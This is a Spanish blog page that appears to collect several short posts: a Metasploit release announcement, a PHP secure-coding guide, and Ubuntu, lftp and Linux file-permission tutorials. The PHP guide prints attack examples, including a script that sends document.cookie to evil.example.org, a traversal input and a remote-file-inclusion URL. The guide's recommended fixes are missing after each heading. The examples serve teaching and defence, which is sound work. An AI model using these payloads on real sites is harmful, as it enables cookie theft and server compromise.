Hackear Headset Bluethoot
Video bastante interesante. Nos muestra una forma muy sencilla de penetrar un headset bluethoot.
Fuente www.tinkernut.com
Video bastante interesante. Nos muestra una forma muy sencilla de penetrar un headset bluethoot.
Fuente www.tinkernut.com
“El Proyecto Metasploit es un proyecto open source de seguridad informática que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración y en el desarrollo de firmas para Sistemas de Detección de Intrusos.Su subproyecto más conocido es el Metasploit Framework, una herramienta para desarrollar y ejecutar exploits contra una máquina remota. Otros subproyectos importantes son la bases de datos de opcodes (códigos de operación), un archivo de shellcodes, e investigación sobre seguridad. Inicialmente fue creado utilizando el lenguaje de programación de scripting Perl, aunque actualmente el Metasploit Framework ha sido escrito de nuevo completamente en el lenguaje Ruby.”
Después de cinco meses de desarrollo, la versión 3.4.0 del Metasploit Framework se ha liberado. Desde la versión 3.3 de Metasploit se añadieron más de 100 exploits nuevos y se han corregido más de 200 errores, Metasploit ahora tiene 551 exploit y 261 módulos auxiliares.Full Metasploit 3.4.0 Release Notes
Descargar Metasploit 3.4.0:
Web oficial: http://www.metasploit.com/
fuente : http://blackploit.blogspot.com/
Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.Se recomienda:
preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])XSS (Cross Site Scripting)
<script>document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie</script>
Un ejemplo sería enviar los siguientes datos en la petición:
GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
Se recomienda:
Directory Traversal
Este ataque se produce cuando se especifican rutas de ficheros como “../../../../file” en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros.
require $page . '.php'; Sabiendo que esta página se almacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.php
Se recomienda:
RFI (Remote File Inclusion)
Como su nombre indica, se produce cuando se incluye un archivo remoto.
Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro script se encuentra en http://site.com/index.php. Un atacante puede hacer esta petición: http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.
O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de una consulta a base de datos.
Se recomienda:
Seguridad en sesiones
Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.
Se recomienda:
Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP sea algo más segura.
Cambiar los botos de ubuntu a la normalidad
Lo primero es descargar window_controls.py y darle permisos para ejecutarse:
chmod +x window_controls.py
o con click derecho Propiedades > Permisos y seleccionamos Permitir ejecutar el archivo como un programa
ahora ejecutamos en la terminal:
./window_controls.py
o damos doble click sobre el archivo y listo podremos seleccionar donde queremos los botones de las ventanas:
Visto en Actualidad GNU/Linux
lftp es una aplicación manejada desde la terminal y destinada a realizar transferencias mediante protocolos ftp, http, fish, sftp, ftps y https. Permite realizar operaciones combinadas, siendo sencillo transferir, borrar, realizar backups incrementales, etc. Todo ello, mediante unas simples órdenes en la terminal que, incluso, podrán ser guardadas en un .txt para no necesitar escribirlas de nuevo; y con independencia del SO instalado en el servidor. A continuación, encontraréis un breve tutorial de iniciación a esta aplicación.
lftp se encuentra en los repositorios de numerosas distribuciones. Si no es vuestro caso, podéis descargarlo desde su web oficial.
Empecemos… La orden básica de conexión es:
Los permisos asociados a ficheros y directorios, son una de las medidas de seguridad básicas en los sistemas. Generalmente, el usuario propietario será la persona que ha creado el fichero, pero ésta puede ser alterada después de su creación. Existen tres tipos básicos de permisos, que son de:
Cuando se asignan estos permisos, Linux guarda un registro de los mismos que posteriormente aparece reflejado en la lista de archivos, con lo cual, se crea un estado que se expresa mediante marcas:
Dichas marcas, pueden ser visibles con un formato largo mediante el comando, ls -l. Ésta es una salida típica:
drwxr-xr-x 2 Pepe Pepe 4096 jun 6 12:50 lg
-rwxrwxr-x 1 Pepe Pepe 0 jun 6 12:49 kgl.py
drwxr-xr-x 2 Pepe Pepe 4096 jun 6 12:50 scripts
FIGURA 1.1: Propiedades de la tabla de permisosComo podemos observar en la Figura 1.1, el primer carácter especifica el tipo de recurso. En este campo existen varios:
Finalmente, los nueve caracteres restantes se dividen en tres grupos:
Vamos a aplicar esto al script en Python de Pepe. Como podemos observar, este recurso es un archivo.
-rwxrwxr-x 1 Pepe Pepe 0 jun 6 12:49 kgl.py
Por consiguiente, Pepe (el propietario del archivo) tiene todos los derechos de acceso en él, con lo cual puede leer, escribir y ejecutar el archivo.
-rwxrwxr-x 1 Pepe Pepe 0 jun 6 12:49 kgl.py
De igual modo, los usuarios del grupo (del grupo Pepe) también pueden leerlo, escribirlo y ejecutarlo.
-rwxrwxr-x 1 Pepe Pepe 0 jun 6 12:49 kgl.py
Y finalmente, aquellos que no sean Pepe y que no pertenezcan a su grupo, tienen derecho a leer y ejecutar el archivo, pero en cambio, no pueden escribir en él.
En resumen:
Para definir los permisos a un usuario concreto sobre un archivo o un directorio, se utiliza el comando chmod. Existen tres tipos de operadores:
Veámos un claro resumen de como podemos quitar, agregar o asignar estos operadores.
Un método consiste en añadir letras (r, w, x) para asignar permisos a archivos individuales o directorios. Otro es utilizar el sistema octal, con el cual se pueden añadir valores octales y que veremos en el siguiente apartado.
El sistema octal, es un sistema numérico en base 8 que utiliza los dígitos de 0 a 7.
La siguiente tabla resume el esquema octal y lo que representa cada número, aunque seguidamente lo veremos con más detalle.
FIGURA 1.2: Valores octales--- por lo que no tenemos ningún permiso.--x por lo que el propietario tiene permisos de ejecución.-w- por lo que el propietario tiene permisos de escritura.r-- por lo que el propietario tiene permisos de lectura.--x por lo que X grupo tiene permisos de ejecución.-w- por lo que X grupo tiene permisos de escritura.r-- por lo que X grupo tiene permisos de lectura.--x por lo que otros tienen permisos de ejecución.-w- por lo que otros tienen permisos de escritura.r-- por lo que otros tienen permisos de lectura.drwxrwxrwt 13 root root 4096 jun 6 22:44 tmpdrwxrws--- 2 Pepe profesorado 4096 jun 3 22:12 Documentos el propietario del directorio y los miembros del grupo profesorado pueden acceder a este directorio. Los usuarios que no sean miembros de este grupo se “asignan” al mismo, con lo cual puede suponer un riesgo de seguridad si se definiera el valor root SUID en un programa.NOTA: Si los atacantes pueden explotar las debilidades de los programas root de SUID, potencialmente pueden obtener privilegios de root.
Los archivos de bit SUID y SGID pueden ser buscados de la siguiente forma: find / \( -perm -4000 -o -perm 2000 \) -ls > archivos_con_suid_sgid.txt con lo que nos hará un listado en un archivo de texto que posteriormente podemos analizar para otorgar los permisos adecuados para así, obtener un sistema mucho más seguro.
Finalmente, podemos facilitar las cosas reduciendo rápidamente los permisos del propietario, de grupos y otros usuarios a un número de tres dígitos utilizando los siguientes valores:
Veámos un caso práctico:
[cloti@ ~]$ pwd; cd /home/pepe/
/home/cloti
bash: cd: /home/pepe/: Permiso denegado
[pepe@ ~]$ chmod 755 /home/pepe/; ls -l /home
drwx------ 4 cloti secretaria 4096 jun 7 01:45 cloti
drwx------ 4 juan profesorado 4096 jun 7 01:45 juan
drwxr-xr-x 4 pepe profesorado 4096 jun 7 01:41 pepe
[cloti@ ~]$ cd /home/pepe/; ls -l
-rw-r--r-- 1 pepe profesorado 548 jun 7 02:20 Álgebras.doc
drwxr-xr-x 2 pepe profesorado 4096 jun 7 02:19 Exámenes
drwxr-xr-x 2 pepe profesorado 4096 jun 7 02:20 Física
drwxr-xr-x 2 pepe profesorado 4096 jun 7 02:20 Matemáticas
drwxr-xr-x 2 pepe profesorado 4096 jun 7 02:20 Prueba de acceso
-rw-r--r-- 1 pepe profesorado 897 jun 7 02:20 Tema 4 Funciones.docx
Primeramente, podemos observar como el usuario cloti intenta acceder a la carpeta pepe (/home/pepe), la cual le deniega el acceso. Seguidamente, nuestro protagonista Pepe ha decidido darle permisos de lectura y ejecución a Cloti, que posteriormente ha podido acceder igual que podría hacerlo Juan siendo éste de su mismo grupo.
Fuente ; http://arrivalsec.wordpress.com
Últimos comentarios